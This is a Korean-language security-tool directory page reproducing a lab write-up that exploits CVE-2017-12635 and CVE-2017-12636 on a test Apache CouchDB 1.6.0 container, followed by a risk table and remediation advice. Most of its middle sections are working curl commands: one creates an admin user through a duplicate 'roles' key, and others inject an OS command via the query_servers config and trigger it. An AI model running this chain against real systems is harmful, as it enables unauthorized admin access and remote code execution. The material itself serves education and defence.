Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-12635_36 — CVE-2017-12635 (권한 상승) 및 CVE-2017-12636 (원격 코드 실행)을 Apache CouchDB 1.6.0 대상으로 악용하는 단계별 실습과 위험 평가 및 수정 지침을 제공합니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2017-12635_36
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2017-12635_36

CVE-2017-12635_36

CVE-2017-12635 (권한 상승) 및 CVE-2017-12636 (원격 코드 실행)을 Apache CouchDB 1.6.0 대상으로 악용하는 단계별 실습과 위험 평가 및 수정 지침을 제공합니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Lab7-CVE-2017-12635-12636

I. 시스템 분석

공격 표면 식별

환경에서 실행 중인 것을 확인하는 것부터 시작합니다. 모든 활성 컨테이너를 나열합니다:

docker ps

image.png

Victim은 단일 포트 5984를 노출

⇒ 직접 curl을 통해 추가 정보를 조사합니다:

curl -i http://192.168.3.137:5984/

image.png

응답 분석:

응답: HTTP/1.1 200 OK로, 포트 5984의 서비스가 활성 상태이며 HTTP를 통해 직접 접근 가능함을 증명.

서버 헤더: CouchDB/1.6.0 (Erlang OTP/17) 및 에 포함된 은 이것이 임을 확인.

JSON 본문
"version":"1.6.0"
Apache CouchDB 버전 1.6.0

공격 표면 평가:

CouchDB 서비스가 포트 5984를 통해 외부에 노출되어 있습니다. 이는 CouchDB HTTP API의 기본 포트이며, REST API를 통한 데이터베이스 상호 작용을 허용합니다.

버전 CouchDB 1.6.0은 1.7.1 패치 이전의 오래된 버전입니다. Apache 문서에 따르면 이 범위의 CouchDB 버전은 다음에 영향을 받습니다:

  • CVE-2017-12635: 원격 권한 상승 — 중복된 JSON roles 키의 일관성 없는 처리로 인해 발생.
  • CVE-2017-12636: 원격 코드 실행 — 관리자가 HTTP API를 통해 서버 구성을 수정할 수 있기 때문.

=> 생각: 얻은 응답으로부터 피해자가 포트 5984에서 Apache CouchDB 1.6.0을 실행 중임을 결정하기에 충분한 증거가 있습니다. 이는 CVE-2017-12635 및 CVE-2017-12636의 익스플로잇 체인과 관련된 오래된 버전입니다. 따라서 논리적인 익스플로잇 경로는 먼저 인증 상태를 테스트하고, 그다음 CouchDB HTTP API를 통한 권한 상승 또는 명령 실행 가능성을 평가하는 것입니다.


II. 인증 상태 테스트 (CVE-2017-12635)

CVE-2017-12635은 CouchDB의 두 JSON 파서 간의 차이점을 악용합니다. /_users에 두 개의 중복된 roles 키가 있는 사용자 문서를 보낼 때, CouchDB는 문서 쓰기 권한을 확인하기 위해 두 번째 roles 키를 사용하지만, 생성 후 사용자의 실제 권한에는 첫 번째 roles 키를 사용합니다. 따라서 공격자는 첫 번째 roles를 ["_admin"]으로 설정하고 두 번째 roles를 []로 설정하여 유효성 검사를 우회하고, 결과적으로 생성된 사용자가 관리자 권한을 갖게 됩니다.

image.png

CouchDB 문서에 따르면, CouchDB는 사용자 정보를 _users라는 특수 데이터베이스에 저장하며, 각 사용자 문서의 ID는 org.couchdb.user:<username> 형식입니다. hacker라는 사용자를 생성해야 하므로, 사용되는 엔드포인트는 /_users/org.couchdb.user:hacker입니다. 새 사용자를 만들고 관리자 권한을 할당하여 서버의 응답을 확인합니다.

root@kitploit:~
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

image.png

반환된 응답은 true로, 사용자가 성공적으로 생성되었음을 증명합니다. 새로 생성된 admin 자격 증명을 사용하여 확인 검사를 수행합니다: curl -u hacker:password123 http://192.168.3.137:5984/_users. /_users 엔드포인트는 시스템 데이터베이스로, 기본적으로 관리자만 메타데이터를 읽을 수 있습니다. 일반 사용자가 요청하면 403 Forbidden이 반환됩니다. 200 OK 응답과 전체 DB 정보는 hacker 계정이 실제로 _admin 권한을 가짐을 확인합니다. 이는 Apache CouchDB 1.6.0의 CVE-2017-12635 가설과 완벽하게 일치합니다.

요약:

Apache CouchDB 1.6.0에서 CVE-2017-12635를 성공적으로 확인했습니다. 처음에 포트 5984는 CouchDB HTTP API가 노출되어 있음을 보여주었습니다. curl을 통한 핑거프린팅 후, 응답은 서비스가 CVE-2017-12635의 취약점 범위 내에 있는 버전 CouchDB 1.6.0임을 확인했습니다.

RCE 가능성을 즉시 결론내리는 대신, 먼저 단계적으로 인증 흐름을 검증했습니다. 두 개의 중복된 roles 키가 있는 사용자 문서를 /_users에 전송함으로써 페이로드는 사용자 hacker를 성공적으로 생성했습니다. 이후 curl -u hacker:password123을 통해 /_users에 요청한 결과 200 OK와 시스템 데이터베이스 세부 정보가 반환되어 사용자 hacker가 실제로 _admin 권한을 보유함을 증명했습니다.

결과적으로, CouchDB 관리자 권한을 획득하면 공격 표면이 CVE-2017-12636으로 확장됩니다. 관리자는 HTTP API를 통해 CouchDB 구성을 변경할 수 있기 때문입니다. 이는 서버에서 원격 코드 실행 가능성을 추가로 평가하기 위한 전제 조건 역할을 합니다.

⇒ 생각: 새로 획득한 관리자 권한을 사용하여 OS 수준 명령 실행을 테스트합니다.


III. CouchDB 관리자 권한에서 원격 코드 실행으로 (CVE-2017-12636)

image.png

Apache CouchDB 문서에 따르면, 쿼리 서버는 CouchDB가 디자인 함수를 처리하는 데 사용하는 외부 프로세스입니다. 예를 들어 MapReduce 메커니즘의 JavaScript 뷰가 있습니다. 디자인 문서가 "language" 필드를 선언하면, CouchDB는 이 값을 사용하여 query_servers 구성에서 해당하는 쿼리 서버를 조회합니다.

디자인 문서에 "language": "javascript"가 포함된 경우, CouchDB는 query_servers.javascript 구성을 조회하여 맵/리듀스 함수를 처리할 프로세스를 결정합니다. 이는 합법적인 CouchDB 설계입니다. CouchDB 코어가 데이터베이스 엔진 내에서 모든 뷰 코드를 직접 실행하지 않기 때문입니다.

⇒ 문제는 CVE-2017-12636에서 CouchDB 관리자가 HTTP API를 통해 서버 구성을 수정할 수 있는 능력에 있습니다. 이러한 구성 중 일부에는 CouchDB가 실행할 운영 체제 수준의 바이너리 또는 프로세스 경로가 포함됩니다. 따라서 CVE-2017-12635를 통해 관리자 권한을 얻은 후, 공격자는 query_servers.<language>를 OS 명령을 가리키도록 수정할 수 있습니다. 해당 언어를 사용하는 뷰를 트리거하면 CouchDB가 명령을 실행하여 서버에서 명령 실행이 발생합니다.

익스플로잇 흐름:

  1. CVE-2017-12635를 통해 CouchDB 관리자 권한 획득.
  2. /_config 엔드포인트를 통해 query_servers.cmd에 악성 구성을 작성.
  3. "language": "cmd"를 가진 디자인 문서 생성.
  4. 뷰 트리거.
  5. CouchDB가 query_servers.cmd를 조회하고 구성된 프로세스를 실행.
  6. OS 명령이 CouchDB 프로세스의 권한으로 실행.

작동 메커니즘

악성 query_server 구성 작성

임의의 이름으로 "쿼리 서버" 를 등록하고, 값은 OS 명령으로 설정:

root@kitploit:~
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
  -H "Content-Type: application/json" \
  -d '"id 1>/tmp/pwned 2>&1"'

이는 CouchDB 프로세스에 의해 실행될 OS 명령입니다.

실행 트리거 — 데이터베이스 및 문서 생성

root@kitploit:~
# 테스트 데이터베이스 생성
curl -X PUT http://hacker:[email protected]:5984/rcetest

# "cmd" 언어를 사용하는 뷰가 포함된 디자인 문서 생성
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
  -H "Content-Type: application/json" \
  -d '{
    "language": "cmd",
    "views": {
      "myview": {
        "map": "function(doc){}"
      }
    }
  }'

# 뷰 트리거 → CouchDB가 "cmd" 쿼리 서버 실행 → OS 명령 실행
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview

실행 흐름:

root@kitploit:~
뷰 쿼리 → [HTTP PUT 구성] -> [모의 쿼리 언어로 OS 명령 주입]
           → [HTTP PUT 디자인 문서] -> [모의 쿼리 언어에 처리 속성 할당]
           → [HTTP GET 뷰] -> [CouchDB 구성 조회 강제 -> 명령을 실행하는 하위 프로세스 실행]
           → [/tmp/pwned 읽기] -> [성공적인 실행 권한 확인 (RCE)]

RCE 확인:

root@kitploit:~
docker exec project1-lab07-1 cat /tmp/pwned

image.png

생각: 이 RCE 공격은 명령 출력이 HTTP 응답에 직접 반환되지 않기 때문에 블라인드/비동기적입니다. 따라서 명령이 실행되었음을 증명하기 위해 id 명령의 출력을 /tmp/pwned 파일에 쓰는 부작용을 생성하는 페이로드를 사용했습니다. 컨테이너에서 /tmp/pwned 파일을 읽고 uid=1000(couchdb) gid=999(couchdb) 출력을 관찰함으로써, CouchDB가 couchdb 사용자의 권한으로 OS 명령을 성공적으로 실행했음을 결론내릴 수 있습니다.

uid=1000(couchdb) 결과는 명령이 루트 권한이 아닌 CouchDB 프로세스의 권한으로 실행되었음을 보여줍니다. 이는 CVE-2017-12636이 서비스 권한 범위 내에서 원격 코드 실행으로 이어진다는 것을 증명하기에 충분합니다.


IV. 위험 평가 및 권장 사항

위험 평가

시스템의 JSON 파서 불일치 (CVE-2017-12635) 취약점과 쿼리 서버 주입 (CVE-2017-12636)이 결합된 위험은 최고 위험 수준으로 평가됩니다:

기준평가세부 사항
CVSS 점수9.8 (심각)악용에 단일 HTTP 요청만 필요하므로 거의 최대치에 가깝습니다.
인증 (Auth)필요 없음공격자는 계정이나 로그인이 필요하지 않습니다. CVE-2017-12635는 원격 관리자 계정 생성을 허용합니다.
복잡성매우 낮음/_users 엔드포인트에 중복된 "roles" 키가 포함된 JSON 페이로드를 포함한 단일 HTTP PUT 요청을 보내는 것만으로 충분합니다.
획득 권한couchdb (uid=1000)CouchDB를 실행 중인 사용자의 권한으로 OS 명령을 실행하여 시스템 파일 읽기/쓰기 및 모든 데이터베이스 접근을 허용합니다.
측면 이동높음손상된 컨테이너에서 공격자는 내부 스캐닝(LAN)을 수행하고 동일한 Docker 네트워크 내의 다른 컨테이너나 호스트 머신을 대상으로 삼을 수 있습니다.

수정 권장 사항

이러한 취약점을 완전히 완화하기 위해 시스템 관리 팀은 다음 조치를 (우선순위별로) 구현해야 합니다:

긴급 우선순위 (단기):

  1. Apache CouchDB 업그레이드: 즉시 보안 버전(≥ 1.7.1 또는 ≥ 2.1.1, 권장 버전 3.x)으로 업데이트하십시오. 취약점이 핵심 JSON 파서 엔진(jiffy)과 쿼리 서버 구성 메커니즘에 있으므로 이는 필수 조치입니다.
  2. 필수 인증 적용: local.ini 구성 파일에서 require_valid_user = true로 설정하여 모든 익명 API 접근을 차단하십시오. CouchDB를 "Admin Party" 모드(관리자가 없어 모든 사람이 관리자인 상태)로 실행하지 마십시오.

높은 우선순위 (장기 및 심층 방어):

  1. 포트 5984에 대한 네트워크 접근 제한: 방화벽(iptables/firewall)을 구성하여 신뢰할 수 있는 IP만 포트 5984에 접근할 수 있도록 허용하십시오. 이 포트는 절대 공개 인터넷에 노출되어서는 안 됩니다. 애플리케이션과 CouchDB가 동일한 머신에 있는 경우, CouchDB를 엄격히 127.0.0.1에 바인딩하십시오.
  2. HTTP API를 통한 구성 비활성화: local.ini 파일에서 config_whitelist를 사용하여 API를 통해 수정할 수 있는 구성 키를 제한하여 공격자가 /_config/query_servers 엔드포인트를 활용하여 OS 명령을 주입하는 것을 방지하십시오.
  3. 컨테이너 네트워킹 제한: 컨테이너를 필요하지 않은 경우 공유 기본 브리지 네트워크에 배치하지 마십시오. 역방향 셸 실행을 방지하기 위해 컨테이너가 인터넷으로의 아웃바운드 연결(아웃바운드 트래픽)을 능동적으로 시작하지 못하도록 방화벽 규칙을 구성하십시오.
도구 다운로드